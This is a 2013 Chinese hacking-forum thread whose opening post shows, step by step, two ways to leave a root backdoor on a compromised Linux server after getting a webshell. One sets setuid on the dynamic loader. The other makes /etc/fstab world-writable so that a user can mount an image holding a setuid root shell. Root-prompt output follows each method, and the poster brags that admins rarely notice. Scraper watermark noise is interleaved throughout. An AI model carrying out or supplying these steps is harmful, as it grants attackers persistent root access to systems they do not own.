找回密码
 立即注册
查看: 3855|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究0 B' E: P2 u# q5 n5 F
5 r) F( `+ h1 V& p" ^
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
( _: b4 E9 E2 h% o% wlrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
; S0 C# ]9 T) d; V" c1 d9 Glrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
* B6 {1 K; o+ O, e0 i[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
  W7 G7 z5 j% D) \- y[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究# A3 k* C. u: \; w/ \# V
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究  Z* H' @. w4 n; j* j2 y
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
2 S# r1 s; B' e3 O& Q' J7 V8 q[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
/ B8 w% l7 y3 A# {* D  w我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究( h6 i/ H& i9 _: ~( M1 B
$ X- }2 P+ u8 X' L$ j1 _
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
& I$ ^! q% q# ~" U4 m' `! c7 b! b! S) V: L% l  g0 o) s2 E
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
: [5 W! k. Q! Q0 `4 p9 Q: B1 Q0 ~xiaoyu2ezX-BUG-关注前沿信息安全技术研究
7 K- q/ ?. u5 O8 @6 _7 N[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
4 K2 j8 v7 r, q& Z& b0 e2 `5 droot2ezX-BUG-关注前沿信息安全技术研究
2 R2 d7 E1 l/ W5 d4 r% D& A! @[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究* Z7 S9 p% q+ k% {! y
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
! D  y$ `, L7 M5 G! b( Z# {  H; _1 Q3 J, z/ E* ?: z, J! }( M2 c
方法二:2ezX-BUG-关注前沿信息安全技术研究
3 |  ?" ^, j8 Q3 B0 H: C
/ o0 e+ E0 g. c; J. s- M$ n看过程:2ezX-BUG-关注前沿信息安全技术研究
3 j$ K- ~7 f2 ?% \
& L1 _4 o6 X/ o" `6 h4 }' p[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究4 a# Q8 Y% V# E
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究5 X7 J4 |% q: |
1 V" V# g2 r$ R, r# v5 ]
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
' }5 U$ ~/ O5 H; e5 k& `
) M/ m+ l# O$ N[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究$ [) c& `5 L( r6 s8 m
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究2 [2 n0 ?5 y  L" l0 \
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究4 e$ Z+ f6 Y- v8 D1 k/ n3 F& Y
3 h7 D# Z: i; w' d  Y& ]
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
- y. w8 j7 D, O% @3 V
5 R2 N6 ^  f# V1 W9 {! u8 F[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究" [" `0 \; e  h! z1 k0 g  Q
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究$ A# ~+ w1 Y$ r7 {+ C, K
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
" ]  q% x; [( |# G% D[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
5 H% e1 y; x  W# J- N! C[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
9 _8 f% i5 C2 ~) |3 E6 h1 Ftotal 182ezX-BUG-关注前沿信息安全技术研究! E' q, k4 {* e4 W; B- \6 ~
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究( F& ?) Y  @; G
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究$ B( P9 H) l, C( E/ c
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究+ g5 x8 \) U% }% d$ V+ j+ M
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
' N  {% K, J, _看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究: J3 A* u; H) Y: D# y
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
" m. `7 e' n; U* U4 [' T
: n8 R# A! Y- w" T貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究) `6 Y' Q6 x+ F% T+ `/ ?
2ezX-BUG-关注前沿信息安全技术研究2 t+ w+ T& a+ l) O
2 [! T# v, _6 y$ V0 s
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表